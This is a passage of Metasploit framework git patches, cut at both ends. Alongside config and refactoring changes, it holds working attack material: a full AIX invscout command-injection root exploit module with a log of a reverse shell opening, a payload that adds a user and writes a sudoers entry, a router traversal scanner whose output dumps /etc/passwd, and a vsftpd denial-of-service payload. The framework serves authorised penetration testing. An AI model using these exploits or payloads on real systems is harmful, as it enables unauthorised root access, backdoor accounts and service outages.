Disabled: The ACCOUNT_DISABLED bit is NOT SET Sub Auth Status: 0 Last Successful Interactive Logon: No Time Set (0) Last Failed Interactive Logon: No Time Set (0) @@ -648,11 +746,41 @@ Resource Group Count: 0 Group Count: 5 Group IDs: - Relative ID: 513, Attributes: 7 - Relative ID: 512, Attributes: 7 - Relative ID: 520, Attributes: 7 - Relative ID: 518, Attributes: 7 - Relative ID: 519, Attributes: 7 + Relative ID: 513 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 512 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 520 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 518 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 519 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET Logon Domain ID: S-1-5-21-3541430928-2051711210-1391384369 Effective Name: 'Administrator' Full Name: '' From 571e3d5e996441b31e29b12e1dab078fcb8891d9 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Tue, 16 May 2023 09:35:29 -0500 Subject: [PATCH 119/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 63 +++++++++++++++++++++++++++++++++++ 1 file changed, 63 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index dce74105cdb94..a98617c4e0108 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -149241,6 +149241,69 @@ "session_types": false, "needs_cleanup": null }, + "exploit_windows/http/ivanti_avalanche_filestoreconfig_upload": { + "name": "Ivanti Avalanche FileStoreConfig File Upload", + "fullname": "exploit/windows/http/ivanti_avalanche_filestoreconfig_upload", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-04-24", + "type": "exploit", + "author": [ + "Piotr Bazydlo", + "Shelby Pace" + ], + "description": "Ivanti Avalanche prior to v6.4.0.186 permits MS-DOS style short\n names in the configuration path for the Central FileStore. Because of\n this, an administrator can change the default path to the web root\n of the applications, upload a JSP file, and achieve RCE as NT AUTHORITY\\SYSTEM.", + "references": [ + "URL-https://www.zerodayinitiative.com/advisories/ZDI-23-456/", + "URL-https://forums.ivanti.com/s/article/ZDI-CAN-17812-Ivanti-Avalanche-FileStoreConfig-Arbitrary-File-Upload-Remote-Code-Execution-Vulnerability?language=en_US", + "URL-https://attackerkb.com/topics/jcdcN9SN9V/cve-2023-28128", + "CVE-2023-28128" + ], + "platform": "Java,Windows", + "arch": "java", + "rport": 8080, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Automatic Target" + ], + "mod_time": "2023-05-12 16:08:47 +0000", + "path": "/modules/exploits/windows/http/ivanti_avalanche_filestoreconfig_upload.rb", + "is_install_path": true, + "ref_name": "windows/http/ivanti_avalanche_filestoreconfig_upload", + "check": true, + "post_auth": true, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ] + }, + "session_types": false, + "needs_cleanup": true + }, "exploit_windows/http/jira_collector_traversal": { "name": "JIRA Issues Collector Directory Traversal", "fullname": "exploit/windows/http/jira_collector_traversal", From f929d2c90f4252073973ec9a0c26214d4d204c94 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Tue, 16 May 2023 15:43:16 -0400 Subject: [PATCH 120/415] Drop redundant shell_command in powershell.rb --- lib/msf/base/sessions/powershell.rb | 32 ----------------------------- 1 file changed, 32 deletions(-) diff --git a/lib/msf/base/sessions/powershell.rb b/lib/msf/base/sessions/powershell.rb index cdbc3ed347b1a..cbf3bf08f0774 100644 --- a/lib/msf/base/sessions/powershell.rb +++ b/lib/msf/base/sessions/powershell.rb @@ -81,36 +81,4 @@ def desc 'Powershell session' end - # - # Takes over the shell_command of the parent - # - def shell_command(cmd, timeout = 1800) - # insert random marker - strm = Rex::Text.rand_text_alpha(15) - endm = Rex::Text.rand_text_alpha(15) - - # Send the shell channel's stdin. - shell_write(";'#{strm}'\n" + cmd + "\n'#{endm}';\n") - - etime = ::Time.now.to_f + timeout - - buff = '' - # Keep reading data until the marker has been received or the 30 minute timeout has occured - while (::Time.now.to_f < etime) - res = shell_read(-1, timeout) - break unless res - - timeout = etime - ::Time.now.to_f - - buff << res - next unless buff.include?(endm) - - # if you see the end marker, read the buffer from the start marker to the end and then display back to screen - buff = buff.split(/#{strm}\r\n/)[-1] - buff = buff.split(endm)[0] - buff.gsub!(/(?<=\r\n)PS [^>]*>/, '') - return buff - end - buff - end end From 2ca5ca1f637b859b5a1f5e644d4b614c381e8ea0 Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 16 May 2023 16:18:14 -0400 Subject: [PATCH 121/415] stronger grep --- modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb b/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb index 2c7ed6bf8f961..3bebbccf1dbbe 100644 --- a/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb +++ b/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb @@ -87,9 +87,9 @@ def get_editable_file return datastore['EDITABLEFILE'] end - # we do a rev here to reverse the order since we only want the last entry, take item 1, then rev it back so its normal. this seemed to + # we do a rev here to reverse the order since we only want the last entry (the file name), take item 1, then rev it back so its normal. this seemed to # be the easiest way to do a cut -f -1 (negative one). https://stackoverflow.com/questions/22727107/how-to-find-the-last-field-using-cut - editable_file = cmd_exec('sudo -l -S | grep -E "sudoedit|sudo -e" | grep -E "(root)" | rev | cut -d " " -f 1 | rev') + editable_file = cmd_exec('sudo -l -S | grep -E "sudoedit|sudo -e" | grep -E \'\\(root\\)|\\(ALL\\)|\\(ALL : ALL\\)\' | rev | cut -d " " -f 1 | rev') editable_file = editable_file.strip if editable_file.nil? || editable_file.empty? || editable_file.include?('a terminal is required to read the password') || editable_file.include?('password for') return nil From 6fdc86db199ae770789e43df8f9dbf0d4c28a148 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Tue, 16 May 2023 18:25:07 -0400 Subject: [PATCH 122/415] Set max files to 0 --- .solargraph.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.solargraph.yml b/.solargraph.yml index 068d3f0dc7e27..852d2ada9a134 100644 --- a/.solargraph.yml +++ b/.solargraph.yml @@ -19,4 +19,4 @@ formatter: extra_args: [] require_paths: [] plugins: [] -max_files: 8000 +max_files: 0 From 0bf5746bde437f18a78963fb7ed20cc7ab729f24 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Tue, 16 May 2023 18:25:37 -0400 Subject: [PATCH 123/415] Added recommended folders to config --- .solargraph.yml | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/.solargraph.yml b/.solargraph.yml index 852d2ada9a134..e8cb4c031573d 100644 --- a/.solargraph.yml +++ b/.solargraph.yml @@ -1,11 +1,18 @@ --- include: - "lib/**/*.rb" +- "**/*.rb" exclude: - spec/**/* - test/**/* - vendor/**/* - ".bundle/**/*" +- modules/**/* +- data/**/* +- db/**/* +- external/**/* +- plugins/**/* +- scripts/**/* # Some of this is old and may not need indexing??? require: [] domains: [] reporters: From 4f70be41ae74d6652fa62f185154b721e7ec2c6f Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Tue, 16 May 2023 23:02:55 -0400 Subject: [PATCH 124/415] Removed lib include line as it became redundant --- .solargraph.yml | 1 - 1 file changed, 1 deletion(-) diff --git a/.solargraph.yml b/.solargraph.yml index e8cb4c031573d..2d9ba29634e39 100644 --- a/.solargraph.yml +++ b/.solargraph.yml @@ -1,6 +1,5 @@ --- include: -- "lib/**/*.rb" - "**/*.rb" exclude: - spec/**/* From f15c9a0bbbae616d5fd47dfb10fab8196602a2f2 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Tue, 16 May 2023 23:16:54 -0400 Subject: [PATCH 125/415] Added cmd useradd payload --- modules/payloads/singles/cmd/unix/useradd.rb | 60 ++++++++++++++++++++ 1 file changed, 60 insertions(+) create mode 100644 modules/payloads/singles/cmd/unix/useradd.rb diff --git a/modules/payloads/singles/cmd/unix/useradd.rb b/modules/payloads/singles/cmd/unix/useradd.rb new file mode 100644 index 0000000000000..7e7651ab72752 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/useradd.rb @@ -0,0 +1,60 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = 8 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Add user with useradd', + 'Description' => 'Creates a new user and adds them to sudo if desired', + 'Author' => 'Nick Cottrell ', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::None, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic', + 'Payload' => { + 'Offsets' => {}, + 'Payload' => '' + } + ) + ) + + register_options( + [ + OptString.new('USER', [ true, 'The username to create', 'metasploit' ]), + OptString.new('PASS', [ true, 'The password for this user', 'Metasploit$1' ]), + OptBool.new('SUDOERS', [false, 'Add new user to sudoers as well', true]) + ] + ) + end + + # + # Constructs the payload + # + def generate(_opts = {}) + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + return "useradd #{datastore['USER']} -p #{datastore['PASS'].crypt('Az')}" + if datastore['SUDOERS'] + ";echo \"#{datastore['USER']} ALL=(ALL:ALL) ALL\">>/etc/sudoers" + else + '' + end + end +end From e1a9f61ad9557cc7b81f8bc0eea493dd0c96fd7d Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Wed, 17 May 2023 00:00:00 -0400 Subject: [PATCH 126/415] Added documentation to scanner module --- .../scanner/http/archer_c7_traversal.md | 44 +++++++++++++++++++ 1 file changed, 44 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/http/archer_c7_traversal.md diff --git a/documentation/modules/auxiliary/scanner/http/archer_c7_traversal.md b/documentation/modules/auxiliary/scanner/http/archer_c7_traversal.md new file mode 100644 index 0000000000000..df9df801e8eab --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/archer_c7_traversal.md @@ -0,0 +1,44 @@ +## Vulnerable Application + +This module attempts to spider files from an archer c7 router using a known traversal vulnerability + +## Verification Steps + +1. `use auxiliary/scanner/http/archer_c7_traversal` +2. `set RHOSTS ` +3. `set FILE ` +4. `run` + +## Scenarios + +### Archer C7 + +``` +msf6 > use auxiliary/scanner/http/archer_c7_traversal +msf6 auxiliary(scanner/http/archer_c7_traversal) > set rhosts 192.168.0.1 +rhosts => 192.168.0.1 +msf6 auxiliary(scanner/http/archer_c7_traversal) > run + +[*] Grabbing data at /login/../../../etc/passwd +[+] /etc/passwd retrieved +root:x:0:0:root:/root:/bin/sh +Admin:x:0:0:root:/root:/bin/sh +bin:x:1:1:bin:/bin:/bin/sh +daemon:x:2:2:daemon:/usr/sbin:/bin/sh +adm:x:3:4:adm:/adm:/bin/sh +lp:x:4:7:lp:/var/spool/lpd:/bin/sh +sync:x:5:0:sync:/bin:/bin/sync +shutdown:x:6:11:shutdown:/sbin:/sbin/shutdown +halt:x:7:0:halt:/sbin:/sbin/halt +uucp:x:10:14:uucp:/var/spool/uucp:/bin/sh +operator:x:11:0:Operator:/var:/bin/sh +nobody:x:65534:65534:nobody:/home:/bin/sh +ap71:x:500:0:Linux Usermmm:/root:/bin/sh +admin:x:500:500:admin:/home:/bin/sh +guest:x:500:500:guest:/home:/bin/sh +root:x:0:0:root:/root:/bin/sh +admin:x:500:500:admin:/tmp/dropbear:/bin/sh + +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` From 6a846c2c942e3e3b79dfc1b96b3463ae210cf0ad Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Wed, 17 May 2023 00:44:18 -0400 Subject: [PATCH 127/415] Added stub since stopping doesnt exist --- modules/auxiliary/dos/ftp/vstfpd_232.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/auxiliary/dos/ftp/vstfpd_232.rb b/modules/auxiliary/dos/ftp/vstfpd_232.rb index 81322096e83cf..7703b5d9b1079 100644 --- a/modules/auxiliary/dos/ftp/vstfpd_232.rb +++ b/modules/auxiliary/dos/ftp/vstfpd_232.rb @@ -103,8 +103,7 @@ def run ftp.disconnect end end - - sleep(1) until stopping? + sleep(1) until 10.times # Stop the threads threads.each(&:kill) From 10dd1b8906df66a5d53f3fc17230fc1737328b64 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Wed, 17 May 2023 00:44:46 -0400 Subject: [PATCH 128/415] Updated scenarios for vsftpd_232 --- .../modules/auxiliary/dos/ftp/vsftpd_232.md | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) diff --git a/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md b/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md index 7f871f10243bc..896b1c3c453c7 100644 --- a/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md +++ b/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md @@ -13,7 +13,22 @@ This is an auxiliary for DOSing a VSFTPD server from version 2.3.3 and below. ## Scenarios -### VSFTPD 2.3.2 - Ubuntu 12.04 +### VSFTPD 2.3.2 - Arch linux ``` +msf6 > use auxiliary/dos/ftp/vsftpd_232 +msf6 auxiliary(dos/ftp/vstfpd_232) > set rhosts 192.168.56.106 +rhosts => 192.168.56.106 +msf6 auxiliary(dos/ftp/vstfpd_232) > set verbose true +verbose => true +msf6 auxiliary(dos/ftp/vstfpd_232) > run +[*] Running module against 192.168.56.106 + +[*] 192.168.56.106:21 - Connecting to FTP server 192.168.56.106:21... +[*] 192.168.56.106:21 - Connected to target FTP server. +[*] 192.168.56.106:21 - Authenticating as anonymous with password ... +[*] 192.168.56.106:21 - Sending password... +[*] 192.168.56.106:21 - Payload being sent: STAT {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}} +[*] 192.168.56.106:21 - DDOS ended. +[*] Auxiliary module execution completed ``` From 0bc1fdf51d7915264f07f50704f114cbbe69c03b Mon Sep 17 00:00:00 2001 From: bcoles Date: Wed, 17 May 2023 20:17:55 +1000 Subject: [PATCH 129/415] Add invscout RPM Privilege Escalation --- .../aix/local/invscout_rpm_priv_esc.md | 58 ++++++++++++ .../aix/local/invscout_rpm_priv_esc.rb | 93 +++++++++++++++++++ 2 files changed, 151 insertions(+) create mode 100644 documentation/modules/exploit/aix/local/invscout_rpm_priv_esc.md create mode 100644 modules/exploits/aix/local/invscout_rpm_priv_esc.rb diff --git a/documentation/modules/exploit/aix/local/invscout_rpm_priv_esc.md b/documentation/modules/exploit/aix/local/invscout_rpm_priv_esc.md new file mode 100644 index 0000000000000..d25259d00860b --- /dev/null +++ b/documentation/modules/exploit/aix/local/invscout_rpm_priv_esc.md @@ -0,0 +1,58 @@ +## Vulnerable Application + +This module exploits a command injection vulnerability in IBM AIX +invscout set-uid root utility present in AIX 7.2 and earlier. + +The undocumented -rpm argument can be used to install an RPM file; +and the undocumented -o argument passes arguments to the rpm utility +without validation, leading to command injection with effective-uid +root privileges. + +This module has been tested successfully on AIX 7.2. + +## Verification Steps + +1. `msfconsole` +1. Get a session +1. `use exploit/aix/local/invscout_rpm_priv_esc` +1. `set session ` +1. `run` + +## Options + +### INVSCOUT_PATH + +Path to invscout executable (default: `/usr/sbin/invscout`) + +## Scenarios + +### IBM AIX 7.2 + +``` +msf6 > use exploit/aix/local/invscout_rpm_priv_esc +msf6 exploit(aix/local/invscout_rpm_priv_esc) > set payload cmd/unix/reverse +payload => cmd/unix/reverse +msf6 exploit(aix/local/invscout_rpm_priv_esc) > set session 1 +session => 1 +msf6 exploit(aix/local/invscout_rpm_priv_esc) > run + +[*] Started reverse TCP double handler on 192.168.200.130:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Output: uid=204(user) gid=1(staff) euid=0(root) +[*] Accepted the first client connection... +[*] Accepted the second client connection... +[*] Command: echo 9BZSm5LKtW9OMKHg; +[*] Writing to socket A +[*] Writing to socket B +[*] Reading from sockets... +[*] Reading from socket A +[*] A: "9BZSm5LKtW9OMKHg\r\n" +[*] Matching... +[*] B is input... +[*] Command shell session 2 opened (192.168.200.130:4444 -> 192.168.200.204:49036) at 2023-05-13 18:29:23 -0400 + +id +uid=204(user) gid=1(staff) euid=0(root) +uname -a +AIX localhost 2 7 000000000000 +``` diff --git a/modules/exploits/aix/local/invscout_rpm_priv_esc.rb b/modules/exploits/aix/local/invscout_rpm_priv_esc.rb new file mode 100644 index 0000000000000..97b61ea7de6d1 --- /dev/null +++ b/modules/exploits/aix/local/invscout_rpm_priv_esc.rb @@ -0,0 +1,93 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'invscout RPM Privilege Escalation', + 'Description' => %q{ + This module exploits a command injection vulnerability in IBM AIX + invscout set-uid root utility present in AIX 7.2 and earlier. + + The undocumented -rpm argument can be used to install an RPM file; + and the undocumented -o argument passes arguments to the rpm utility + without validation, leading to command injection with effective-uid + root privileges. + + This module has been tested successfully on AIX 7.2. + }, + 'Author' => [ + 'Tim Brown', # Discovery and PoC + 'bcoles' # Metasploit + ], + 'References' => [ + ['CVE', '2023-28528'], + ['URL', 'https://talosintelligence.com/vulnerability_reports/TALOS-2023-1691'], + ], + 'Platform' => %w[unix aix], + 'Arch' => ARCH_CMD, + 'Payload' => { + 'BadChars' => "\x00\x0a\x0d\x22", + 'Compat' => { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic telnet openssl' + } + }, + 'DefaultOptions' => { + 'PrependSetresuid' => true, + 'PrependSetresgid' => true, + 'PrependFork' => true + }, + 'SessionTypes' => %w[shell meterpreter], + 'Targets' => [['Automatic', {}]], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2023-04-24', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options([ + OptString.new('INVSCOUT_PATH', [true, 'Path to invscout executable', '/usr/sbin/invscout']) + ]) + end + + def invscout_path + datastore['INVSCOUT_PATH'] + end + + def check + return CheckCode::Safe("#{invscout_path} is not executable") unless executable?(invscout_path) + + res = execute_command('id') + id = res.to_s.scan(/^(.*?uid=.*?)$/).flatten.first.to_s + + return CheckCode::Safe("#{invscout_path} is not vulnerable.") unless id.include?('euid=0') + + CheckCode::Vulnerable("Output: #{id}") + end + + def execute_command(cmd, _opts = {}) + rpm_path = "#{Rex::Text.rand_text_alphanumeric(8..12)}.rpm" + rpm_args = "; #{cmd}; echo " + res = cmd_exec("#{invscout_path} -RPM #{rpm_path} -o \"#{rpm_args}\"") + vprint_line(res) unless res.blank? + res + end + + def exploit + execute_command(payload.encoded) + end +end From 789646dd653b6e1bf5f2ea2b78be1d54104d03b7 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Wed, 17 May 2023 08:08:59 -0400 Subject: [PATCH 130/415] Use better failwith lines Co-authored-by: bcoles --- .../scanner/http/archer_c7_traversal.rb | 36 +++++++++---------- 1 file changed, 17 insertions(+), 19 deletions(-) diff --git a/modules/auxiliary/scanner/http/archer_c7_traversal.rb b/modules/auxiliary/scanner/http/archer_c7_traversal.rb index 2ec70dcf32a15..da0d90df11992 100644 --- a/modules/auxiliary/scanner/http/archer_c7_traversal.rb +++ b/modules/auxiliary/scanner/http/archer_c7_traversal.rb @@ -47,26 +47,24 @@ def run_host(_ip) 'uri' => uri.to_s }) - if !res - print_error('Server timed out') - elsif res && res.body =~ (/Error 404 requested page cannot be found/) - print_error('The file doesn\'t appear to exist') - else - # We don't save the body by default, because there's also other junk in it. - # But we still have a SAVE option just in case - print_good("#{datastore['FILE']} retrieved") - print_line(res.body) + fail_with(Failure::Unreachable, 'Connection failed') unless res - if datastore['SAVE'] - p = store_loot( - 'archer_c7.file', - 'application/octet-stream', - rhost, - res.body, - ::File.basename(datastore['FILE']) - ) - print_good("File saved as: #{p}") - end + fail_with(Failure::NotFound, "The file does not appear to exist") if res.body.to_s.include?('Error 404 requested page cannot be found') + + # We don't save the body by default, because there's also other junk in it. + # But we still have a SAVE option just in case + print_good("#{datastore['FILE']} retrieved") + print_line(res.body) + + if datastore['SAVE'] + p = store_loot( + 'archer_c7.file', + 'application/octet-stream', + rhost, + res.body, + ::File.basename(datastore['FILE']) + ) + print_good("File saved as: #{p}") end end end From 9a732a881b25b1e533848abee714531a97c58f10 Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Wed, 17 May 2023 08:09:25 -0400 Subject: [PATCH 131/415] Improve module description Co-authored-by: bcoles --- modules/auxiliary/scanner/http/archer_c7_traversal.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/archer_c7_traversal.rb b/modules/auxiliary/scanner/http/archer_c7_traversal.rb index da0d90df11992..9f98065f19e31 100644 --- a/modules/auxiliary/scanner/http/archer_c7_traversal.rb +++ b/modules/auxiliary/scanner/http/archer_c7_traversal.rb @@ -13,7 +13,8 @@ def initialize(info = {}) info, 'Name' => 'Archer C7 Directory Traversal Vulnerability', 'Description' => %q{ - This module takes a vulnerability in the PATH_INFO found at /login/. The vulnernability is known to affect TP-Link Archer C5 C7 and C9 routers of varying versions. + This module exploits a directory traversal vulnerability in the PATH_INFO found at /login/ + on TP-Link Archer C5, C7, and C9 routers of varying versions. }, 'References' => [ [ 'BID', '74050 ' ], From 49e7c2459f12ed74654dd890b8738b86f3a872fa Mon Sep 17 00:00:00 2001 From: RadioLogic Date: Wed, 17 May 2023 11:40:29 -0400 Subject: [PATCH 132/415] Fixed payload to properly function --- modules/auxiliary/dos/ftp/vstfpd_232.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/dos/ftp/vstfpd_232.rb b/modules/auxiliary/dos/ftp/vstfpd_232.rb index 7703b5d9b1079..b569f4c8ffef9 100644 --- a/modules/auxiliary/dos/ftp/vstfpd_232.rb +++ b/modules/auxiliary/dos/ftp/vstfpd_232.rb @@ -77,7 +77,7 @@ def check def run fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') if check != Exploit::CheckCode::Appears - payload = 'STAT 